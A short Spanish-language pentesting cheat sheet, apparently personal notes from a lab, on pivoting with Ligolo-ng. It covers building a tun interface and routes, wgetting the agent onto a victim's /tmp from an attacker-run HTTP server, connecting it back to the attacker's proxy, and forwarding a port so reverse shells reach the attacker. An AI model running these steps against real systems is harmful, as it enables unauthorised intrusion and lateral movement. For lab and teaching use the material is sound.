Ligolo-ng

Download

Necesitaremos descargarnos 2, uno como proxy y otro como agente

El proxy, serΓ‘ como "un servidor de chisel", se ejecutara en nuestra maquina atacante. En mi caso es linux asi que mi proxy, siempre sera proxy_linux_amd64.tar.gz

El agente, es como "un cliente de chisel", se tiene que enviar/ejecutar en la maquina de salto. En este caso es linux asi que el agente sera agent_linux_amd64.tar.gz

Descomprimir + Permisos

tar -xvzf ARCHIVO.tar.gz
rm ligolo-ng_* LICENSE README.md
chmod +x proxy agent

Configuration

Crear una interfaz de red llamada ligolo

sudo ip tuntap add user $USER mode tun ligolo

Levantar la interfaz de red ligolo

sudo ip link set ligolo up

AΓ±adir una ruta hacia el segmento de red que queremos llegar con la interfaz ligolo

sudo ip route add 20.20.20.0/24 dev ligolo

Todo el trafico que vaya hacia ese rango de ip, viajara a travΓ©s de la interfaz ligolo

Si necesitar borra algo del ip route:

sudo ip route del RANGE dev ligolo
or
sudo ip route del RANGE dev ligolo scope link

Import to the victim machine

En nuestra maquina atacante donde tenemos el ligolo agent, crear un servidor web con python

sudo python3 -m http.server 80

Ahora desde la maquina atacante me lo traigo al /tmp con wget

cd /tmp
wget http://OUR_IP/agent
chmod +x agent

Use

Ejecutar el proxy en nuestra maquina atacante

./proxy -selfcert
INFO[0000] Listening on 0.0.0.0:11601 

Ahora ejecutamos el agente de la maquina victima de puente:

./agent -connect 10.10.10.130:11601 -ignore-cert
INFO[0000] Connection established addr="10.10.10.130:11601"

Vemos en nuestro ligo que se a conectado un agente

Ahora hay que seleccionar el perfil/agente a utilizar (como en metaExploit)

ligolo-ng Β» session
? Specify a session :  [Use arrows to move, type to filter]
## Aqui selecciono la sesion 1 (la unica)
[Agent : randy@corrosion] Β» start
[Agent : randy@corrosion] Β» INFO[1288] Starting tunnel to randy@corrosion (07338fe6-f7f2-44a2-abf9-d0db09e49850) 

Portforwarding (Receive and Redirect)

Cuando tenemos la conexiΓ³n con ligolo, podrΓ­amos conectarnos por ejemplo por ssh a la ip victima, porque nosotros si tenemos visibilidad con maquina pero... la maquina con nosotros no. Lo que significa que si esta nos tuviera que enviar en un hipotΓ©tico caso una resevershell desde una hipotΓ©tica webshell o parecido, no la recibirΓ­amos. SoluciΓ³n:

[Agent : randy@corrosion] Β» listener_add --addr 0.0.0.0:666 --to 127.0.0.1:666
INFO[0087] Listener 0 created on remote agent!          

Para ver que se ha establecido la conexiΓ³n podemos hacer un listener_list

[Agent : randy@corrosion] Β» listener_list
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Active listeners                                                        
β”‚ # β”‚ AGENT                                                                       β”‚ NETWORK β”‚ AGENT LISTENER ADDRESS β”‚ PROXY REDIRECT ADDRESS β”‚ STATUS β”‚
β”‚ 0 β”‚ randy@corrosion - 10.10.10.132:55314 - 669c1a27-fd4b-4e5a-954e-17d371c776d2 β”‚ tcp     β”‚ 0.0.0.0:666            β”‚ 127.0.0.1:666          β”‚ Online β”‚
└───┴─────────────────────────────────────────────────────────────────────
[Agent : randy@corrosion] Β»  

Con esto decimos que en el la maquina victima de salto (el agente), todo lo que le llegue por el puerto 666 se redirija a nuestro localhost por el 666 tambiΓ©n

Last updated